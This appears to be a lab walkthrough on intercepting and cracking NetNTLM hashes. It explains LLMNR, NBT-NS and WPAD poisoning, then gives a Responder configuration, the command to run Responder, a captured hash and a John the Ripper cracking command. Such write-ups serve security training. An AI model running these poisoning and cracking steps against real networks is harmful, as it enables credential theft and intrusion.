Authentication relays

In Windows networks, there are a significant amount of services talking to each other, allowing users to make use of the services provided by the network. These services use built-in authentication methods to verify the identity of incoming connections, such as NTLM Authentication used on a web application. This is a dive into NetNTLM authentication used by SMB.

Download the password list to be used for cracking the NetNTLM hash.

Server Message Block

  • Used by Windows (and Linux) systems to facilitate file sharing, remote administration, etc.

  • Newer versions of the SMB protocol resolve some vulnerabilities, but companies with legacy systems continue to use older versions.

  • SMB communications are not encrypted and can be intercepted.


  • NBT-NS and LLMNR are ways to resolve hostnames to IP addresses on the LAN.

  • WPAD is a way for Windows hosts to auto-discover web proxies.

  • These protocols are broadcast on the LAN and can therefore be poisoned, tricking hosts into thinking they’re talking with the intended target.

  • Since these are layer 2 protocols, any time we use Responder to capture and poison requests, we must be on the same LAN as the target.

Intercepting NetNTLM challenge

Edit the Responder configuration file and make sure the SMB and HTTP servers are set to On:

sudo nano /etc/responder/Responder.conf
[Responder Core]

; Servers to start
SQL = Off
SMB = On 
RDP = Off
Kerberos = On 
FTP = On 
POP = Off 
SMTP = Off
IMAP = Off
HTTP = On 
HTTPS = Off 
DNS = Off 

Run Responder and wait for the client to connect (A simulated host runs every 30 minutes):

sudo responder -I tun0

Crack the hash:

echo 'svcFileCopy::ZA:7cc90fae8c5d340d:4A9DCB457EC6B03CB8590632B3022206:010100000000000000CCDAED93A7D801F341996CD2C757EC00000000020008004E00360034004C0001001E00570049004E002D003500310032004B004C0041005A004400450039004F0004003400570049004E002D003500310032004B004C0041005A004400450039004F002E004E00360034004C002E004C004F00430041004C00030014004E00360034004C002E004C004F00430041004C00050014004E00360034004C002E004C004F00430041004C000700080000CCDAED93A7D80106000400020000000800300030000000000000000000000000200000A5ABACBF56562183324A9E5783EA22C522BE71493FF32CF3AAA81CA6A4F7CE880A001000000000000000000000000000000000000900200063006900660073002F00310030002E00350030002E00350032002E00330034000000000000000000' > hash
john --wordlist=./passwordlist.txt hash